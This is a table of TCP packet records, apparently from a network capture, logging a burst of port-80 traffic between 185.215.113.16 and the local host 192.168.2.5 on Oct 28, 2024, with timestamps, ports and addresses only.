Oct 28, 2024 21:40:15.812556982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.812592030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.812618017 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.813496113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.813533068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.813545942 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.813575983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.813628912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.859957933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.860023975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.860085964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.865073919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.865114927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.865178108 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.865185022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.866794109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.866830111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.866861105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.872031927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.872066975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.872082949 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.873718023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.873758078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.873773098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.875752926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.875812054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.875813961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.876777887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.876817942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.876837015 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.876854897 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.876977921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.878338099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.878375053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.878422022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.879846096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.879880905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.879949093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.881165981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.881201982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.881249905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.882498026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.882533073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.882565975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.882580996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.883568048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.883605003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.883632898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.885231018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.885273933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.885277033 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.886426926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.886472940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.886485100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.888135910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.888185978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.888195038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.889183998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.889225006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.889249086 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.889260054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.889306068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.890291929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.890328884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.890376091 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.891381979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.891417980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.891468048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.892034054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.892071009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.892134905 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.892674923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.892710924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.892745018 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.892767906 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.893229008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.893274069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.893280029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.893951893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.893996954 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.894009113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.894512892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.894531965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.894561052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.894958973 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.894973040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.895000935 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.895509958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.895523071 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.895534039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.895550013 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.895566940 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.896488905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.896522045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.896558046 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.898982048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.899137974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.899188042 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.900989056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.901000977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.901047945 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.901133060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.901144028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.901192904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.902225971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.902385950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.902398109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.902436018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.903762102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.903774023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.903788090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.903808117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.903834105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.904864073 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.904881001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.904891968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.904917002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.905725956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.905776978 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.905833960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.906902075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.906913996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.906948090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.907891989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.907903910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.907928944 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.908941984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.908956051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.908982038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.909966946 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.909981966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.909992933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.910003901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.910043955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.910809994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.910948992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.910990953 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.911990881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.912003994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.912045002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.912969112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.912986040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.913032055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.913961887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.913980007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.914031982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.914792061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.914808989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.914819956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.914848089 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.915776968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.915790081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.915816069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.916635990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.916649103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.916676044 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.917807102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.917825937 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.917860985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.918617010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.918629885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.918646097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.918664932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.918692112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.919687986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.935902119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.935954094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.936358929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.936371088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.936410904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.937309027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.937321901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.937383890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.938252926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.938266039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.938314915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.939232111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.939244032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.939254999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.939282894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.940149069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.940161943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.940188885 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.940905094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.940917015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.940932035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.940948009 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.940984011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.984061956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.984361887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.984373093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.984404087 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.987845898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.987900972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.988073111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.988086939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.988128901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.989059925 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.989070892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.989113092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.990015030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.990027905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.990077019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.991121054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.991132975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.991142035 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.991179943 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.992094994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.992111921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.992140055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.992882967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.992897987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.992922068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.993856907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.993870020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.993880033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.993904114 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.993930101 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.994851112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.994863987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.994908094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.995829105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.995841980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.995884895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.996659040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.996674061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.996726036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.997684002 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.997699022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.997745037 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.998521090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.998533964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.998544931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.998580933 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:15.999605894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.999627113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:15.999654055 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.004025936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004070997 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.004160881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004172087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004183054 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004194021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004205942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004240990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.004813910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004826069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004863977 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.004952908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.004992962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.005831003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.005841970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.005884886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.006535053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.006697893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.006740093 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.007428885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.007441044 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.007491112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.008660078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.008671999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.008682966 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.008728981 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.010204077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.010220051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.010246038 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.011425972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.011466980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.011477947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.012841940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.012854099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.012898922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.014183998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.014239073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.014312983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.016561985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.016580105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.016593933 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.016608000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.016633034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.018910885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.018924952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.019001961 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.020163059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.020174980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.020224094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.021456957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.021472931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.021550894 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.022514105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.022663116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.022711039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.023380995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.023391962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.023407936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.023438931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.029063940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.029109955 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.029443026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.029459953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.029495001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.030689955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.030700922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.030749083 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.031461000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.031472921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.031527996 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.031569958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033015013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033026934 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033035994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033094883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.033803940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033816099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033823967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.033852100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.034595013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.034641027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.034778118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.035872936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.035885096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.035912991 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.036746979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.036761045 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.036794901 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.038255930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.038268089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.038297892 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.040508032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.040519953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.040559053 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.041039944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.041053057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.041086912 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.044533014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.044549942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.044568062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 28, 2024 21:40:16.044595003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.044625998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 28, 2024 21:40:16.045450926 CET	80	49712	185.215.113.16	192.168.2.5
